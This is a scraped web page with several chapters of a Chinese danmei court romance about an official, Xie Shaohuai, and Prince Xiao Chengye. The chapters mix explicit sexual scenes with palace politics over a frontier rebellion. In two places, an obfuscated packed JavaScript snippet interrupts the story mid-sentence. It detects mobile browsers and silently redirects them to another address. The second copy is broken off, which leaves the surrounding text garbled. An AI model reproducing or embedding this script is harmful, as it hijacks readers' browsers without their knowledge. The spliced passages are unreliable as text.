“刘管事客气了,”谢少淮拢了拢自己的衣服,示意青松离开:“时间不早了,下官就不打扰殿下,先行告退。” “小王送师保。”说着,萧承野依依不舍地跟着谢少淮出了门,直到他的马车远走,才转身回去,回到府上萧承野心情不错,喊了刘总管问他这几日长安可有热闹事。 刘管事想了想:“过些日子冠英侯嫁女,周二公子刚去吏部任职侍郎一职,侯爷家里最近双喜临门,想来一定热闹。” 萧承野:“吏部,侍郎?” - 谢少淮回到府中已经快到亥时,简单吃了点饭,身子依旧困乏,但是下午睡了很久,一时又睡不着。 好在下午被吻的微肿的唇瓣已经消下去了,应该是被萧承野涂了什么药膏,不然这会儿一定会更厉害些。 谢少淮今日的思绪因为此事,变成了一团乱糟糟的麻绳,想起那些细节,又不得去考量接下来的发展。他和萧承野亲都亲了,行周公之礼也不会太远,萧承野的精力如果都如今日这般旺盛,自己大抵还要受不住。 不过他也不是不懂房中之术的人,虽没有实操,但也知道那种事疼不疼都看对方的“尺寸”和“耐力”,萧承野比他高出不少,或许到了那时候见了实物,他又畏惧了。 后半夜,谢少淮翻完一本春宫秘籍,简单学了些知识,才将自己纷乱的情绪压下。 只是翌日一早,谢少淮方才洗漱完,青松就跟个小陀螺似得跑到他的寝房:“公子,梁王殿下来了,说是方从宫里过来,得了些好东西给公子看。” 理智了半夜的谢少淮:“……” 昨夜萧承野从刘管事嘴里听到周家二郎顶了谢少淮吏部侍郎职位一事,今日一早便去了长乐宫问了皇兄此事,得到证实之后,他不免替谢少淮不满,但他如今不知青年的意思,从宫里出来便直接过来了。 谢少淮洗漱完,在正厅接待了萧承野,两人在外人面前还是官职上的关系,所以并未似昨日那么亲近,简单的说了两句话,听了萧承野此来的目的,谢少淮也毫无避讳,将这件事的态度直说出来。 “少淮兄不在意就好,”萧承野:“小王听皇兄说了,少淮兄前几月在辽东举荐了不少能才入长安,来之前皇兄还托小王,说三月开春后陛下便再为少淮兄安排合适的职位。” 萧承野说罢,目光落在青年脸上,轻易便察觉青年蹙了蹙眉心。 “多谢殿下。”谢少淮不在意周家人顶替他职位一事,是因为眼下他也无力扭转局面,但听着不免有些烦躁,但是不等他换话题,对面坐着的少年便主动道:“小王听闻过几日冠英侯嫁女,不知少淮兄可曾收到请帖?” 谢少淮:“……” 谢少淮掀了掀眼皮看了眼萧承野,少年无言示意他有事要说,谢少淮便挥手示意身边的青松先褪下了。 正堂空下来,萧承野便紧张了一些,等谢少淮关上门窗回来,见萧承野已经走到他面前,“少淮,昨夜睡好了吗?” 谢少淮任少年抱了抱,“还好,殿下想说什么?” “少淮兄方才不开心了,”萧承野松开了青年,见他唇已经恢复好,便将带过来的薄 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萧承野闻言脸倏地就红了,不是害羞,是激动,因为他也找了一本……没想到竟和青年想法不谋而合。 萧承野:“好。” 萧承野:“那,那小王对少淮的好,少淮能不能也接受?” “什么?”谢少淮问道。 “明明是少淮兄的职,小王不甘,棍棒教训一下还是可以的。”说罢,萧承野抵了抵后牙:“小王不会伤人要害。” 谢少淮:“……” “莽夫做派。” “不莽的……”萧承野仔细打听过了,不仅是周崇,还有其他几个和周崇周二关系好的狗东西仗着周氏,自和少淮国子监同窗时就多番刁难:“不全为少淮,小王也没少被这几个杂种编排,但少淮若不让小王便不动他们。” 谢少淮看着脸色有些激动的少年,就知道他说的不假,萧承野是周氏召回长安的,和周家那几个走的近,后来又因为他揍了周崇一顿,如此一来,被他们几个酒囊饭袋编排也正常。 只不过,今天萧承野和他说要揍人的时候,样子好像和平日里在他面前唯唯诺诺的样子不太一样,倒是多了几分少年人的恣意。 谢少淮点了点头:“莫要太过分。” “嗯。”萧承野点了点头,随后垂眸又盯上了谢少淮的唇,支支吾吾:“少淮,现在没人了,小王能抱着你……吻你吗?” 谢少淮:“……” “别咬,青松在外面。” 谢少淮话音刚落,知觉脚下一轻,竟被萧承野单手抱着膝盖托了起来,少年一手稳稳抱着他,一手扣住他的脸颊,亟不可待地贴了上来。 谢少淮的私宅的待客堂不大,房间陈设简单,放置几把交椅和一方形小几,殿内还有一道竹纹雕花的屏风,后面连接的就是后宅的寝殿和书房。 萧承野说要抱着他亲,便真的抱着他亲,但毕竟是一个成年人,抱了一炷香不到,少年便托着他放在了正堂西侧的窗前,随即微凉的唇又附上:“少淮,张嘴。” 谢少淮背后贴着薄薄的窗户,因为少年的动作,还轻轻撞到了,窗户微微打开一些发出轻微响动,惊的谢少淮立刻握住了少年的唇:“动作轻些……” 萧承野舔着青年的手心,那双深邃的眸子带着浓浓的欲望,但还是点了点头,又把谢少淮抱在腿上。 吻够了唇,萧承野用鼻尖蹭开谢少淮衣襟:“这里也很甜。” 谢少淮仰着脖子,昨日还是有些受不住的憋闷,今日再次体验却体会到了丝丝沁入骨髓般的酥麻…… 少年舔了有一炷香的时间,谢少淮随着他喘了几口浊气,逐渐放松下来,身子不由一沉,不等谢少淮反应,身下抱着他的少年也意识到了,身子明显一僵,随后抵着谢少淮的额头,小声道歉:“对不起,小王不是故意冒犯的。” 谢少淮:“……” 感受了一下,眉心不由一蹙。 15. 第 15 章 两人在会客厅荒唐了许久,谢少淮有些怕青松看到,便带着人回到了自己的卧房。萧承野对他的喜爱,远超他的预期,刚进了房间,少年就亟不可待地将他抱在怀里。 谢少淮不喜做体力活,方才一通折腾已经够乏了,眼下他坐在萧承野的腿上,只由少年从背后抱着他,舔他的手指——身上也被他弄的湿湿的。 “少淮兄哪里都是甜的……”萧承野单手箍着青年的腰身,另一只手攥着那节如绸缎细腻洁白的手腕,谢少淮的指甲修剪的圆滑,指节纤细,指骨修长,他时而含住那柔软的指腹,时而舔砥敏感的指根,“很好吃。” 谢少淮:“……” 他又不是什么糕点,岂能用好吃来形容? 不过谢少淮也懒得和萧承野掰扯那么多,指腹被舔的湿哒哒的,实在不舒服,谢少淮勾着少年的舌,搅合两下,随后抽出手来,用帕子擦拭:“殿下,难道要在下官这里待一整日吗?” 萧承野吃不到手指,便又盯上谢少淮的耳朵,方才他也咬了一下,但青年似乎很不喜欢,便没有继续,此刻谢少淮的发已经完全散开,斜躺在右侧肩上,微微发粉的耳廓就完全暴露在他面前。 想吃。 但是方才少淮不让。 萧承野滚了滚喉,抵着青年的后颈吁了几口浊气,“少淮,小王是不是太冒犯。” 谢少淮这两日不知听了多少句这样的话,不由感叹,话本的力量果然是强大,自他戳破了少年的心思,萧承野尝到了甜头,就像是吃到鲜肉的野兽。 萧承野确实“冒犯”但是谢少淮允许他冒犯了。 谢少淮将手里的帕子扔到地上,随后踩着柔软的羊皮毯子下了地,抄着一根发带将自己的头发扎了起来:“殿下,这哪里算的上冒犯。” 谢少淮整理好,走到少年身边,手轻轻落下他膝盖上,随即俯身与他对视上:“或者说,殿下不想冒犯下官吗?” 谢少淮咬重了冒犯二字,双眸与萧承野对上之时,少年的脸明显红了,那双看着薄情锋利的脸,带着十分的局促,鸦羽垂垂,不敢和他对视:“想的。” 萧承野滚了滚喉。 他想过和少淮……但还不是现在。 萧承野伸手握住了谢少淮放在他膝盖上的手,“少淮不是说要与小王培养感情,我们还可以再相处一下……” “嗯,”谢少淮今日实在没力气和少年做些什么了,出去转转也好,或许萧承野在长安有更多的“秘密”还等着他发现呢。 “那下官稍微洗漱一下,”谢少淮,“殿下稍等片刻。” 谢少淮的卧房是一间套房,两间房仅隔着一扇织锦云纹的屏风和一道珠帘,谢少淮进了里面的房间换衣服,萧承野坐在外面的椅子上休息,他的目光被青年吸引,看向里侧的房间,但也只能透过珠帘看到被他弄褶皱的衣物一件件被里面的青年丢在地上,甚至还有一件雪色的亵裤…… 萧承野看到那条亵裤,似乎被烫了一下,不自主地收回了目光,垂眸看着自己下盘,方才少淮说他,没有命令,就不准…… 要听话。 但是好难。 谢少淮乘坐萧承野的马车独自随着少年出了门,两人并未回梁王府,而是到了城郊的五大营。 长安的守卫军一共分为五个阵营,分别由五个五个校尉管理,士兵门素日里会分出一支小队在宫里巡逻,其他的都汇聚在一起进行操练。 谢少淮曾下朝时被五哥要求过来看他操练士兵,所以对此处倒不算陌生,到了地方谢少淮还有点诧异萧承野带他来这里做什么,待少年拎着自己前几日教训过周三郎的鎏金虎头红缨枪出来,他才明白。 萧承野善用长枪,在琢州的时候对付匈奴骑兵,军队常用弓箭,所以他的枪只有在平息三州内乱的时候才能用上,但他的枪耍的很好,舅舅也时常夸赞,所以他今日便想着给谢少淮看看。 诚然,少年的长枪耍的确实不错,一招一式都极为潇洒,但是谢少淮并不喜欢这些野蛮的东西,所以看起来也兴致缺缺。 萧承野像是打了鸡血一样,从午后一直打到天色微沉,负责和他对练的军营校尉五个累倒了四个,另一个手持弯刀,被少年一杠长枪逼得毫无去处—— 谢少淮捏了捏眉心,看着营厂几个被萧承野盯上的倒霉蛋子,实在不忍,便喊了少年一声:“殿下,时间不早了,我们也该回去了。” 萧承野憋了一肚子力气没处发泄,此刻虽挥汗如雨,但却没有一点疲乏,他问谢少淮的呼喊,这才收了长枪,看向一旁的青年。 夜里风大,谢少淮一袭素衣站在营厂边上,简单束着的长发随着尘土飞扬。 萧承野挑起长枪,将身前的校尉拉了起来,随后将长枪扔给身边的侍卫,随后朝着谢少淮走去:“小王来了。” 萧承野走到青年身边,动手给他拢了拢身上的大氅,随后有些抱歉的说了一句:“小王是不是太久了?” 谢少淮:“不会。” 说罢,谢少淮拿了自己的帕子给少年,只是少年接过帕子看了一眼,便收了起来,用自己的粗布帕子擦了一下后又道:“少淮给的,小王收着沐浴了再用……” 谢少淮:“……” 白白跟着少年浪费了一下午的时间,心情谈不上好,看到萧承野这么在乎他一个手帕,不美妙的心情似乎又好了一些。 下位者的奉承尔尔谢少淮见过不少,说真心喜欢他的人他也见过芸芸,但是萧承野好像和那些人不一样,就如话本上的设定一样,萧承野对他的爱恋几乎到了着迷的地步,不然也不会让他轻轻松松就从内部瓦解了叛军。 恍然间,谢少淮好像又看到了一些自己之前没记起来的画面,脑海里似万马奔腾而过,黄沙滚滚而来,长枪箭簇如雨而来,火硝石划破夜空——是战场。 画面和以前一样转瞬即逝,谢少淮蹙了蹙眉心,萧承野看着青年的脸色不太对,便问了一句:“怎么了?” 谢少淮清了清思绪,“无事……” 五大营人多,没在长乐宫巡逻的护卫都在这里,他们不宜太过亲昵,谢少淮主动挪了几步,“殿下落了汗,先回去轿子里,当心着凉。” “好,”萧承野抿唇,看着身边的谢少淮笑了笑,他有些想牵牵青年的手,但又看身边人多,便忍了下去。 待两人上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115971|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了马车出了五大营,在轿内的萧承野便轻轻握住了谢少淮的手,问道:“少淮,小王今日的枪耍的好吗?” 谢少淮:“……” “自然。” 萧承野闻言眼睛一亮,握紧了手,有些激动道:“少淮觉得好看就好。” 说罢,萧承野沉了沉自己有些激动的心情,又主动问了谢少淮一句:“少淮,你可有喜欢的事,小王可以陪你一起做。” 萧承野迫不及待想要更了解谢少淮,也想让青年更了解自己。 萧承野说到这里,谢少淮的心情才好了不少,想了想他才道:“父亲这几日为西北的起义军之事忧愁,殿下既是自琢州来的,可认识一些能平叛祸事的人?” 谢少淮转过脸来,抬眸看着萧承野,又解释了一句:“少淮少年入仕,任吏部侍郎后,受陛下所托去全国各地广纳人才,兴趣便是些无聊的朝事,殿下会觉得无聊吗?” 萧承野闻言眸色不由沉了沉,但随即便摇了摇头,“不会……只是少淮,你知道的,皇兄今年多病疑心甚重,琢州的事情,若是谢太尉能不……” 萧承野说到这里,才意识到自己说错了话,谢忠两代重臣,岂是因为朝政权争就将自己置身事外之人?自己劝信此,以小人之心度君子之腹,实在可恶:“小王在瞎说什么,谢太尉心在大周百姓,少淮放心,这件事就交给小王了。” 谢少淮:“无事。” 谢少淮知道萧承野想说什么。 萧承野方才听到起义军后神色明显不对,或许萧承野此刻是真的喜欢他,喜欢到大于他自己的谋反计划——他是真不想谢家做一件与他相悖的事情。 “那就麻烦殿下了,”谢少淮说着,垂眸主动吻上萧承野,也学着少年伸出舌尖,在对方唇瓣上轻轻舔了舔:“涩的。” 萧承野:“。” 少年的脸倏地就红了,垂眸,小声道:“出了一身汗,少淮别亲了,等小王沐浴后……再亲。” 谢少淮莞尔一笑,随后坐好,手与萧承野的手紧紧扣着,小声问他:“殿下这是邀请下官去府里留宿吗?” 萧承野:“没……” 萧承野几乎是脱口而出,听到留宿二字,他本能就想起两人会发生的事情,但又觉得自己太不知耻了:“不敢再冒犯……” 谢少淮勾了勾唇角,没说什么,萧承野既然已经答应他引荐人,那这个人一定和琢州的卫家脱不了干系,或他已此时为开端,等日后再与萧承野说起琢州的事情,萧承野也不会起什么疑心。 “这算什么冒犯?”谢少淮侧过脸,又含住了少年的唇,宽阔袖摆下的手轻轻勾着少年的腰带轻轻扯开,“这轿子不隔音……” 驾车的马夫是梁王府的,前几日谢少淮在府里的时候也见过两次,若是此刻他们发出的声音大了,外面一定能听到。 萧承野身上出了一身的汗,谢少淮的手勾开他的亵裤,他便本能地握住了青年的手,抵着他的额,穿着粗气:“少淮,脏,不碰。” 萧承野又解释了一句:“都是汗。” 谢少淮不喜被别人拒绝,闻言蹙了蹙眉,又吻上萧承野,“那就晾晾。” 16.第 16 章 谢少淮柔软的唇奉上,萧承野那点定力根本忍不住。他又实在不忍心自己的脏东西弄脏了谢少淮的手,便强抱着青年的腰身,将人按在自己腿上,单手解了谢少淮的衣裳:“少淮给小王摸摸,摸摸就好了。” 谢少淮:“……” 少年的动作实在太大,他也害怕被外面的马夫听到动静,便不敢再多动,任由少年的手在他腰上游离,不等他反应萧承野方才说的“摸摸就好”是什么意思,撑在少年胸膛上的手被烫了一下。 一切归于平静之后,好半天,萧承野抱着谢少淮没说什么,等谢少淮擦干净了手,萧承野才有点抱歉说道:“脏了。” “还是把少淮弄脏了。” “抱歉。” 谢少淮在少年脸上啄了一口:“无碍。” “嗯,”萧承野点了点头,又主动吻了吻谢少淮:“少淮的腰好细。” “也很软,”萧承野说着,脑子里全是方才爆发的一瞬间的事情,觉得有些快了,又道:“少淮做过吗?” 谢少淮:“……” “不曾。” “小王是不是太快吗?”萧承野:“不该这么……” 谢少淮:“没事的,以后我们试试,多试几次就好了。” “马上就该去太医署拿下月的药了,那些药是抑制情毒的,”谢少淮想了想,觉得过了冠英侯嫁女的事情后,舅舅哪里应该差不多能摸清楚天子的意思了,还是要快点和萧承野做实质性的—— 谢少淮:“也可以不吃,殿下帮下官吗?” 萧承野明白谢少淮的意思,脸颊微微发烫,点了点头,“小王能做好的。” 萧承野说罢,又想了想,问:“那少淮今夜还回去吗?” 谢少淮:“……” 今日他要累死了,就算不做,萧承野也不知要折腾他多久:“回去,殿下再等等,没几日了。” “嗯……”其实谢少淮不同意,萧承野不会对他做什么的,他只是想单纯和青年待着,抱着睡:“那小王先送少淮回去。” 几日后,萧承野惦记谢少淮交代的推举平叛琢州起义军用人的事情,一早他从王府出发去了长乐宫。 头来长安的那几日,他几乎天天辰时前过来请安,入了冬后建宁帝的身子不似之前好了,周太后便时常过来照看,他来的没有那么勤了。 梁王府的轿撵到了长乐宫外,随行的小厮上前通报,这时候掌印太监刘卿刚好端着建宁帝的药渣出来,见萧承野独身在大殿外候着,连上赶着迎上:“呦,这大冷天儿,梁王殿下怎么过来了?” 萧承野朝着人点了点头:“听闻皇兄最近又染上了风寒,便过来看看,劳烦刘公公过去通报一声。” 刘卿闻言若有所思地点了点头:“这样啊,哎呦,真是不巧了,太后娘娘一早过来陪陛下用药,陛下这会儿刚用了药睡下,早朝都没去呢,这一睡怕不知什么时候才能醒过来,殿下的孝心奴才会代为转达,要不今日殿下还是先回去吧?” 萧承野:“无碍,小王还有一些事情要同皇兄商议,待皇兄醒了再说不迟。” “既然是有要事,那殿下不如在偏殿候着吧,”刘卿说着,压低了声音,又悄咪咪对男人说了一句:“傅相也一早过来了,也是有事要说,这会儿在偏殿候着呢。” 丞相。 少淮的舅舅。 萧承野蹙了蹙眉心,思忖少顷,最后才点头:“那就麻烦刘公公了。” “都是奴才应该的,”说罢,刘卿将自己手里的药渣递给身边的小太监,认真交代:“去把这些处理了。” 萧承野目光落下那红棕色的药罐上,眸色不由一沉,随后便跟着刘卿进了长乐宫的偏殿。 没多久功夫,处理完药渣的小太监返回长乐宫,见刘卿从长乐宫出来,小心翼翼地问:“师父,陛下有意废相,您这时候将梁王殿下和傅家扯在一起作甚?您就不怕梁王殿下被傅家连累呀?” 刘卿笑眯眯地敲了一下小太监的头:“可这大山哪里说推到就推到的,且等着看吧,有你学不完的。” 萧承野进了长乐宫偏殿,便看见佛台前跪着一身着绯色常服的中年男人,男人虔诚地跪在蒲团上,双眸微微阖着,那张和谢少淮有四五分相似的脸如一面平静的湖水。 陛下体弱,今年多生病灾,太后请大师在长乐宫偏殿铸造了几尊金身佛像,素日里再次侯着等召见文武百官都会在此诵经给天子祈福。 萧承野不信鬼神,但偶时来了也会跪拜,他走到边上的蒲团跪上,跟着男人一起静神跪拜。 不多时,萧承野感觉身边的人有了动静,他睁开眼,见男人起身点了香,自言自语道:“愿我大周不复往日和亲之辱,驱逐匈奴,早日江山安定海清河晏。” 萧承野抽了抽唇角,想说些什么,这时候长乐宫的小太监过来喊了人:“梁王殿下、傅相,陛下醒了,两位请吧。” “殿下,您先请。” 萧承野拱手,“傅相,请。” 萧承野进了殿,在建宁帝塌前伺候着,长乐宫里只有太医署几个太医候着,太后宫里的几个嬷嬷,丞相和萧承野。 萧承野伺候龙床上疾病缠身的青年天子,将自己此行的目的说了,建宁帝不过也是刚过弱冠的年纪,却因为身子羸弱,常年卧床,显得有几分沧桑,闻言咳了好几声,才道“这件事朕已经有了合适的人选,谢卿年纪大了,该歇息歇息了,不然到时候跟朕一样,整日躺在床上,可有吃不完的苦。” 即使萧承野刻意避开长安城的权利斗争,从不过问朝事,在宫里待着久了,也难免察觉些什么:“皇兄准备让谁去?” 建宁帝:“周家的三郎,周崇那小子朕记得还没什么事儿做,” 建宁帝:“此去涿州,山高路远,年轻人还折腾的起,谢卿家的二郎朕要是没记错的话,应该在南边待着,他和丞相性子差不多,稳重,就给周崇那小子打后援吧,刚好等侯府的婚事完了,他们就出发,争取能在今年把边境的内乱平定了。” 建宁帝对周氏的偏心直接摆在了明面上了,谢二郎在南侧的边防线驻守多年,而周崇不过一个大半小子,让老将去给一个新兵做后援,事后所有功绩都没有,建宁帝这是刻意在疏远谢家。 萧承野犹记得,上次谢五郎的事情,也是如今天一样,他刚刚想要说情,皇兄就把事情往严重了说,最后适得其反。 思及此,萧承野不再多言。 这时候一直侯在一旁的男人发了话:“陛下,臣有一计,可平内乱亦可为日后平定匈奴打基础。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119279|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧承野闻言,掀了掀眼皮,将目光放在一旁的男人身上,接着男人又道:“西北一带的起义军多是一些流民匪寇,去年连年干旱,百姓颗粒无收,不仅是西北三州如此、东边的辽东一带、西南侧的蛮夷、南侧的闽海皆有因为天灾发起的大大小小的起义,朝廷为此花出去的银子数以百万计,但依旧不见好,不如招安这些人,训练一支可以去好匈奴人对抗的骑兵部队——” “不行!”建宁帝闻言,大声呵斥:“组建一支骑兵谈何容易?和亲暂时就能解决匈奴大多问题,没必要打起来,此时丞相不必再和朕提,朕听的耳朵都到生茧了,行了,你们都退下吧,朕累了。” 萧承野:“是。” 从长乐宫离开,萧承野乘着自己的马车往回走,到了午门的时候,远远瞧见方才在长乐宫随他一起出来的丞相傅谏舟。 萧承野示意马夫停下,下了轿子,萧承野向男人行了礼:“傅相,今日小王本手受师保所托,却弄巧成拙,平叛琢州起义军一事,周崇不是对手,还望丞相改日再多劝劝陛下——小王有一人或许可用,若丞相能说服陛下,小王愿将此人献给太尉大人。” 谢少淮让萧承野举荐能去琢州平叛起义军的人,萧承野并没有可信的人能推荐,但是破玄自小跟着他在琢州长大,若是能为谢太尉所用,或许能帮得上忙。 萧承野说罢,见男人神色有些诧异,似乎是对他说起的这件事感到十分意外,但男人随即便调整了过来,淡淡一笑:“殿下的心意臣替阿淮心领了,多谢殿下。” 萧承野:“分内之事罢了。” 萧承野说罢,欲转身离开,这时候身后的男人却又说道:“年后冬月十八,是先卫太妃命陨匈奴的忌日,殿下身在长安无法祭拜,臣已托琢州府尹去给先太妃扫了墓,唐突之举,还望殿下见谅。” 萧承野抽了抽嘴角,扯了一个冷森森的笑:“丞相,不必试探小王了。” 建宁帝沉疴难医,自来长安之后,不少人向萧承野示好,其中深意并不难猜,但来长安之前舅舅已经交代过了,皇兄不会死的,宫里有药能吊着性命,他与母妃早年受周氏照拂才能活下来,他不可忘本。 说罢,萧承野上了轿子,往谢宅的方向去。 午时后,青松将太医署送来的药都安置好,拆了一副准备提前给公子煎上,等把药端过去,见公子只吃了一半,便把剩下的都倒了:“以后每日煎一半就好,太苦了。” 青松:“。” 青松:“可是公子这是您的救命药啊,吃一半哪里能缓解,若是苦的话青松多准备点蜜饯吧?” 谢少淮蹙了蹙眉心,缓缓将手里的春宫秘籍合上,道:“无碍,吃多了,日后容易失效。” 青年话音未落,便听见门房在外头喊道:“公子,梁王殿下来了。” 青松:“。” 谢少淮拢了拢身上的长衫,从小塌上起来,对青松道:“你出门去城东的逢春楼买些酒肉。” “哦,”青松点了点头,咕哝了一句:“公子,您对殿下真好呀,这几日殿下过来,您次次让青松跑一个多时辰去买好吃的。” 谢少淮:“……” 谢少淮脸微微发烫,道:“废话多,快去,把后院的门锁上,勿要让人扰了殿下学习。” 17.第 17 章 青松出门没多时,萧承野便独身进了谢少淮的书房,进了门萧承野默契地将房门锁上,内殿的谢少淮听到落锁的声音,便知道是萧承野来了,甫一掀开隔着的珠帘,少年便过来一把将他拥入怀中。 谢少淮连连往后退了几步,任人在自己脸上吻着,“殿下怎么这么急?” 萧承野闻言,抱着谢少淮停下,在青年唇上浅浅啄了一口,突然道:“阿淮。” 谢少淮:“……” 谢少淮掀了掀眼皮,蹙眉看着身前的男人,问:“殿下怎么知道这个称呼?” 谢少淮是家里的独子,五六岁前,父亲母亲独宠他一人,为他起了小字,整日整日抱着他“阿淮”“阿淮”的叫,后来连带着几个哥哥和舅舅一家,都喜欢叫他“阿淮”但谢少淮不喜欢别人这么称呼自己,长大懂事之后便拒绝让人唤自己阿淮,就连少淮也不喜欢被人称呼,萧承野是怎么知道他小时候的昵称的? “好听。”萧承野抿唇,“今日小王进宫的时候,遇见丞相了,提及阿淮,便知道了。” 说罢,萧承野又问:“阿淮,小王能这么叫吗?” 谢少淮:“……” 谢少淮:“不行……” 谢少淮才说罢,身子就倏地腾空,萧承野托着他将他抱起来,大步朝着小塌走去,谢少淮还没反应过来,少年就欺身上来,将他压在小塌上吻,“阿淮。” 少年像是得到了什么珍宝,环着谢少淮的腰,亲亲他的脸蛋又喊一声他的小字:“阿淮,小王喜欢你。” 萧承野用鼻子蹭蹭谢少淮的鼻子,“就私下唤,就你我二人的时候唤好不好?” 谢少淮:“……” “罢了,你愿唤便唤……”说罢谢少淮双手撑在萧承野胸口,捧着少年乱舔乱啃的脑袋,问:“殿下今日去宫里做什么?” 萧承野蹙了蹙眉心,沮丧道:“阿淮前几日让小王举荐去琢州平反之人,小王本想直接向皇兄举荐一人,但被拒绝了。” 说罢,萧承野的眸子沉了沉,委屈巴巴,像是做错了事似得,看着谢少淮:“阿淮,小王的人不能直接向太尉举荐,所以才想了这个办法为阿淮解忧,但皇兄让周三郎挂职出征,谢二哥从地方调过去做后勤部队,” 地方农民起义之事已经不是一起两起,前几年二哥也挂职平叛过,事后天子也多加褒奖。但是这次天子让周家的人任先锋,谢家为后勤保障,明显是有意思给周家的人捞军功。 不过,琢州的起义一时平息不了,萧承野虽然没有将人给父亲用,但却以此窥探,天子确实下了主意拔高周氏。 “无碍。”谢少淮抽了抽嘴角:“殿下愿意为下官出面就好。” 谢少淮话说到一半,嘴突然被萧承野吻上,谢少淮蹙了蹙眉心,便听萧承野不开心道:“对不起。” “……”谢少淮抿了抿唇,推开人,“就算陛下有意疏远我谢家,有舅舅在,谢家一时还倒不了台。” 说罢,谢少淮勾着萧承野的脖子,指腹把玩他一缕发丝,问:“或者,谢家若到了末路,殿下会帮少淮吗?” 萧承野沉默少顷,道:“阿淮小王有自己的事情要做,不能帮阿淮太多事情,可若皇兄真的要对太尉府动手,小王一定保阿淮一家无虞。” 谢少淮:“自己的事情?” 谢少淮有些意外,萧承野愿意和他说真心话。他们现在的关系若是一般人,最起码说些好听的骗骗他,但是萧承野没有。谢少淮有八分把握,萧承野对他说的是真话。 谢少淮试探问:“殿下想做的事情是什么?” “不能说,”萧承野摇了摇头,“现在还不能说,阿淮以后会知道的。” 谢少淮:“……” 谢少淮没必要逼问少年,他既然不愿说,那就是不能说的事情——比如谋反。 谢少淮倒是猜不到萧承野为何要谋反,不过这些都不重要,他既有谋逆之心,那就是大周朝的罪人。 “不说便不说,”谢少淮被压的有些踹不上气,推了推少年:“殿下下去,沉。” “嗯……”萧承野事情没办好,心里还是有些懊悔,松开了青年,他便坐在小塌上抱着他的腰,用嘴扯开了青年的衣带,又蹭着他的里衣,祈求道:“想吃。” 毛茸茸的脑袋在自己胸透蹭着厉害,谢少淮今日只用了一半的药,与萧承野这么贴着、剐蹭着竟然生了几分快感,他垂眸挑着少年的下颌,指腹慢慢划过他的唇:“吃什么?” ? 萧承野在谢少淮府上一直待到太阳西沉才回了王府,送走人后,谢少淮小睡了片刻,醒来的时候已经过了酉时。 身上还不利索,少年啃咬过的地方隐隐刺疼,上了一些药膏也不好,谢少淮带着青松上了街,在城中的药堂要了几剂避子汤。 谢少淮的身子是太医署的太医开的药,本来若想避孕也应该去太医署开,但若是拿了少不了被家里发现,他与萧承野的关系不便挑明,省的萧承野以后谋反祸连谢家。 自然,谢少淮也不可能给萧承野生孩子,以后同房必不可免,避子汤还是提前备着的好。 开完药,大夫还特意交代了一句:“公子,这药不宜多用,同房之后也切记清理好,不然怕是药效没那么管用。” 他们这些寻常百姓光顾的药铺,药材没那么齐全,配的避子汤自然没那么好用。 谢少淮:“……” 谢少淮脸色不太美妙,老大夫看了他一眼身上难得的蜀锦,就知道他的身份尊贵,他倒是想不到,这样尊贵的小公子,怎么上他们这里买避子汤喝?怕不是花柳之地的常客,不敢让家里知道,便随便找过来的:“都是为了公子好,公子也不想多个不想要的孩子不是?” 谢少淮:“劳烦。” 给了赏钱,谢少淮拎着药出了门,青松架着马车在街上等他:“公子,您买什么药去啦?怎么不让老爷请太医开呀?” 谢少淮:“寻常的补药,没必要麻烦太医,走吧,去趟丞相府。” 青松点了点头,“哦。” 萧承野今日和谢少淮说了见了舅舅一事,但并未细说他们都说了什么,萧承野联系琢州起义军的事情还是舅舅告诉父亲的,想来舅舅要比父亲知道的更多。 不多时,谢少淮的轿子从后门进了丞相府,谢少淮还未见到人,丞相府的管事便上前来迎他:“六公子,丞相一早就等着公子了,且去书房吧。” 谢少淮蹙了蹙眉心,示意青松先去停车,随后自己跟着管事去见了人:“好。” 谢傅两家自先帝在的时候结秦晋之好,两家联手帮先帝扳倒了外戚,深受先帝重用。累积了两朝势力的两家,就算当今天子有意亲周家,也断不该随随便便就出倒谢、倒傅的念头。 进了门,谢少淮还未问起今日在宫里萧承野的事情,位于上座的男人便先发制人,问了谢少淮一句:“阿淮可是和梁王有些什么?” 年过而立的权臣,一言一行都透着不可忽视的掌控力,谢少淮微微抬眸那双琉璃色的眸子对男人的金瞳对上,不必舅舅明说,便知他看出来自己和萧承野不正经的关系了。 谢少淮垂眸,抿了口浓茶:“什么都瞒不住舅舅。” 谢少淮没必要在舅舅面前遮遮掩掩:“前些日子,舅舅送去家里的东西,父亲拿给少淮看了,梁王私下联系起义军一事,少淮想为家里出些力……当然还有些私心,少淮身上的情毒,太医署太医说了,用药多了会有抗药性,还是少用为好,梁王身体康健,对少淮有些 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谢少淮无言,沉思少顷,还是问了自己想问的事:“舅舅可听说,先帝还有流落在民间的孩子?” 谢少淮的梦里之说那反贼是王爷,自琢州而反,所有的证据都指向萧承野。 可万一呢?万一琢州还藏着他不知道的王爷呢? 男人闻言有些诧异,“阿淮这是什么意思?” “哦,”谢少淮解释了一下:“少淮想,涿州的起义军规模最大,那反贼头子会不会打着皇家的名义……虽然荒唐,但先朝乱民冒充皇室成员之事并不少见。” “无,”男人肯定道:“先帝除了先卫太妃外,并无其他姬妾亦无子嗣。” “涿州也并未听闻有冒充皇嗣的消息。” “是,”谢少淮垂睫,淡淡道:“少淮多心了。” “多留心是好事,”男人说罢,又提醒了谢少淮一句:“你切记,勿要儿女情长扰乱你的计划。” 谢少淮:“是,” 